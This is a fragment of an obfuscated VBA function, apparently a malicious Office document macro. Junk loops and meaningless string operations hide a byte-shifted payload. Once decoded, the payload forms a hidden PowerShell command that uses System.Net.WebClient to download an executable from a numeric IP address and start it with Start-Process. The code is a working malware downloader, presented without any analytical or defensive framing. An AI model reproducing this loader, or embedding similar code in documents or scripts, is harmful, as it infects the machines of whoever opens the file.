AkYv = StrReverse("jKtHiwvxOOI")
AkYv = StrReverse("dxurbuOYEW")
AkYv = StrReverse("dZxAYpRSZDCFQJnF")
AkYv = StrReverse("rihPvwUWtaWYHnxTlGR")
AkYv = StrReverse("DwVaqXnJUqS")
AkYv = Replace("KwBPwbUsGbRSc", "KwB", "wxwx")
AkYv = StrReverse("YzcJepHqjzxKke")
AkYv = Replace("PfHpHWiCsSAc", "PfH", "GOxmJzI")
AkYv = StrReverse("RadjtsbchmyzT")
AkYv = StrReverse("yAxDbJZJJSrMX")
AkYv = StrReverse("mHlrmDUSSvseZGc")
Next opUzy
zYe = zYe & StrReverse(StrReverse("GLPGbGZKxNxlBtz[pUuIbQPRlyGtIbcgguiVrGwggcjUGqFzPIPHi{enfFMWlDmfhDbFsNhCbbHECtVwTqwtFHiGzZiY"))
If 2999535 = 91 - 3729 Then
TzhDl = Replace("uFZOhILuwAOkCi", "uFZ", "dqVeZv")
TzhDl = StrReverse("uFZOhILuwAOkCi")
End If
For mYmoT = 0 To 64
xOjq = StrReverse("GPmEmSPDjI")
xOjq = Replace("wtbukQIAWzvZfIAjgg", "wtbu", "yfoW")
xOjq = Replace("erhyvjmMzufVcLEDHl", "erhy", "nZCTY")
xOjq = StrReverse("zkYMSpcCdIWOHIzeWeq")
xOjq = Replace("FQFHBOkxywzqQ", "FQFH", "XonVeQ")
xOjq = StrReverse("oQxBBxRlhsWfoHVqrxS")
xOjq = Replace("bKsbgtfWrWjwXyo", "bKs", "pBYDMo")
If 1774267 = 251 - 689 Then
Zysow = Replace("rPHjMBUIDUj", "rPHj", "MDFF")
Zysow = StrReverse("rPHjMBUIDUj")
End If
xOjq = Replace("FxUstZaKsdYLWXPI", "FxUs", "aAluCLW")
If 2148183 = 166 - 3110 Then
JbDvF = Replace("gXpeMLggpFkYg", "gXp", "VzCq")
JbDvF = StrReverse("gXpeMLggpFkYg")
nVTFx = Replace("DRrujUnKEszziBKAXPK", "DRru", "vyxhVy")
nVTFx = StrReverse("DRrujUnKEszziBKAXPK")
End If
xOjq = StrReverse("EvYWtUdofwckLtMI")
xOjq = Replace("ruDzOWtlCaFdEhU", "ruDz", "EviPs")
xOjq = Replace("wltcWpAcFx", "wltc", "qhHdW")
xOjq = StrReverse("wyGVDliEMBPvGIuLYQ")
xOjq = StrReverse("qgLiIzdPQFyCRUcVm")
xOjq = StrReverse("uSyTcKikYzuiJAQ")
xOjq = StrReverse("stXrHflVnzkoItl")
xOjq = StrReverse("FYVXeJlpqBInD")
xOjq = StrReverse("bIJVAsmBOgwT")
xOjq = Replace("vUigdfTRrGCAbVqIX", "vUig", "iJwquEi")
If 3087815 = 205 - 3226 Then
mcCwJ = Replace("mYrmZxaXaR", "mYrm", "MHfCh")
mcCwJ = StrReverse("mYrmZxaXaR")
IBERB = Replace("QHyopcBwhWmITUzkn", "QHyo", "tFYcLMA")
IBERB = StrReverse("QHyopcBwhWmITUzkn")
End If
xOjq = Replace("gJBgwMXstgVXPMLvkEZ", "gJB", "iKQyi")
xOjq = Replace("bQpUGZcgHEmqxt", "bQp", "KcrRye")
xOjq = StrReverse("dJvAQIijrez")
If 2522305 = 38 - 23 Then
ysZvY = Replace("nQiZevgBAzZsXbKm", "nQiZ", "RODIisc")
ysZvY = StrReverse("nQiZevgBAzZsXbKm")
End If
Next mYmoT
zYe = zYe & StrReverse(StrReverse("IWFngkMb}<*(fyf/dLLc](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)!iubqfmjG.!ttfdpsQ.usbuT!2!x.!"))
mcSSV = StrReverse("SyBiOLUJYlmRIRDUI")
For PbqHv = 0 To 304
If 916835 = 242 - 8257 Then
VqrIP = Replace("adOmVrftgwvqMT", "adOm", "ZmgYeyi")
VqrIP = StrReverse("adOmVrftgwvqMT")
End If
WSLb = Replace("WvtbyQwIVQV", "Wvtb", "YAqiP")
WSLb = StrReverse("yzVJEDgLiIhq")
If 700430 = 12 - 5597 Then
ErEFD = Replace("eFAAYtoXYwfiC", "eFA", "bYbxzdn")
ErEFD = StrReverse("eFAAYtoXYwfiC")
End If
WSLb = Replace("QcytfjmTbIBD", "Qcyt", "sFeDAv")
WSLb = StrReverse("epnKdevOMK")
WSLb = StrReverse("TKxyItuGbACBaJs")
If 2690643 = 63 - 7957 Then
VHUQu = Replace("CTyDvZLoiRT", "CTy", "DAYoPIk")
VHUQu = StrReverse("CTyDvZLoiRT")
End If
WSLb = StrReverse("VIapPnMvJMjE")
WSLb = StrReverse("qHhkmKRvDghneLJABO")
WSLb = Replace("YCVhyGGdIzw", "YCV", "BcRHcO")
WSLb = Replace("KmwHeTwOCtZEb", "Kmw", "mToVj")
WSLb = StrReverse("HgmADaXJUua")
WSLb = StrReverse("grrLUrMojAPwvMIL")
WSLb = Replace("QRxgdwFJLOCSGFqTPbV", "QRxg", "pzyeudQ")
WSLb = Replace("GyAysMukMHMxZxRTcxh", "GyA", "uwbdGq")
WSLb = Replace("ljKQHCpBMzF", "ljK", "VxfD")
WSLb = Replace("WkWlqvQrLm", "WkWl", "trchJe")
WSLb = Replace("QVyxrQjFQGEGTSK", "QVyx", "LaGi")
WSLb = Replace("kWYneCctcuYhSeLi", "kWY", "UiViR")
WSLb = Replace("vnzJJkgfngYOvvvm", "vnzJ", "AQoGu")
WSLb = StrReverse("uhtJkCpukVEXO")
WSLb = Replace("QurJzKTyfBFBng", "Qur", "WaGPFbm")
WSLb = StrReverse("HyklJmYiJwVFX")
WSLb = Replace("BuWWndFCMqbJ", "BuW", "rYSqn")
Next PbqHv
zYe = zYe & StrReverse(StrReverse("fyf/mmfitsfxpq<**(fyf/dLLc](,*)iubQqnfUufH;;^iubQ/PJ/nfutzT\)-(fyf/be0333/96/:92/69200;qu"))
mcSSV = StrReverse("mAkwCwCcJpuiaIsC")
For TPDKh = 0 To 190
SCaQ = StrReverse("hDaDAhcKGcpLuYYfc")
SCaQ = Replace("tyRmmlLdHglbPIvdaGq", "tyRm", "aTgGAZQ")
SCaQ = Replace("MBVngTPYjhwipcBFZ", "MBV", "lmObUl")
If 1959299 = 98 - 4723 Then
mLtmH = Replace("otTvBLcRcwklyGn", "otTv", "spalrn")
mLtmH = StrReverse("otTvBLcRcwklyGn")
End If
If 2253969 = 106 - 2461 Then
ADnTu = Replace("DwPQhtAMTViFGYZFv", "DwP", "dKby")
ADnTu = StrReverse("DwPQhtAMTViFGYZFv")
End If
If 2987012 = 114 - 3020 Then
ZVOeG = Replace("dymtuCPhRIPkLtXQr", "dym", "frKeSq")
ZVOeG = StrReverse("dymtuCPhRIPkLtXQr")
End If
If 1676592 = 247 - 285 Then
JzhSs = Replace("rlQbntirWc", "rlQ", "qmihuVb")
JzhSs = StrReverse("rlQbntirWc")
PSuhh = Replace("YMKAyEdpLkyqYE", "YMKA", "gvshG")
PSuhh = StrReverse("YMKAyEdpLkyqYE")
End If
SCaQ = Replace("eFXsFISzTiUQAn", "eFXs", "rSSU")
If 2294612 = 18 - 2344 Then
frmDH = Replace("QaYqpHpKzaeckRXiR", "QaYq", "TqPay")
frmDH = StrReverse("QaYqpHpKzaeckRXiR")
End If
SCaQ = Replace("dhnbUteMbOYXPjHqKX", "dhnb", "LvkHE")
SCaQ = Replace("myxkMYqSzIiDJqMzZcS", "myx", "QaZqt")
SCaQ = Replace("DoESIvlBMrT", "DoES", "IotTj")
If 1130690 = 44 - 7971 Then
HHMfw = Replace("tAEpcxhJwr", "tAE", "jjtfHI")
HHMfw = StrReverse("tAEpcxhJwr")
End If
SCaQ = Replace("ROzXTrUkuDMcrid", "ROz", "HWlrx")
If 513245 = 249 - 1655 Then
nhVzs = Replace("tofBsZRadKC", "tofB", "CRFMyFL")
nhVzs = StrReverse("tofBsZRadKC")
End If
If 2404186 = 215 - 4011 Then
AesFo = Replace("wXDqAYGmpkCzfvW", "wXD", "pLTCWx")
AesFo = StrReverse("wXDqAYGmpkCzfvW")
CCyTB = Replace("ZQxgKYBtEbQEDUHUdMM", "ZQx", "irXyB")
CCyTB = StrReverse("ZQxgKYBtEbQEDUHUdMM")
End If
SCaQ = Replace("fYUfWEzZJlpxaxvbx", "fYU", "GZGJP")
If 3101230 = 76 - 5212 Then
oQdXx = Replace("JRPjiujXmgQIT", "JRPj", "jFWWgJ")
oQdXx = StrReverse("JRPjiujXmgQIT")
End If
SCaQ = StrReverse("peIBSLWhoj")
SCaQ = StrReverse("nvRZdmaGMyfSID")
SCaQ = StrReverse("fKeYXFBRrMltikGiX")
SCaQ = StrReverse("PhpdsGQcoc")
SCaQ = Replace("pbvdjKeGmL", "pbv", "gvRqdr")
SCaQ = Replace("eKQOsPhPXEy", "eKQO", "SfkfB")
SCaQ = Replace("VbjeinxOng", "Vbje", "mGBH")
Next TPDKh
zYe = zYe & StrReverse(StrReverse("ui()fmjGebpmoxpE/*uofjmDcfX/ufO/nfutzT!udfkcP.xfO)!2!x.!fyf/mmfitsfxpq}mYpKB}Urqp"))
mcSSV = StrReverse("RlyKAuXrKivB")
Dim ptvi() As Byte
VCXkX = StrReverse("LffiWrVuJhObSjovbCK")
ptvi = StrConv(zYe, vbFromUnicode)
While OexV <= UBound(ptvi)
mcSSV = Replace("pGrdPTmTPZ", "pGr", "jCjCw")
mcSSV = Replace("hmDcTfAOKw", "hmD", "HdSaZ")
ptvi(OexV) = ptvi(OexV) - pFUBY
OexV = OexV + 1
mcSSV = Replace("bVaxJEoCTD", "bVa", "ECgkx")
mcSSV = Replace("LrPmHJYaru", "LrP", "osghH")
Wend
kUBgnAWtHF = StrConv(ptvi, vbUnicode)
End Function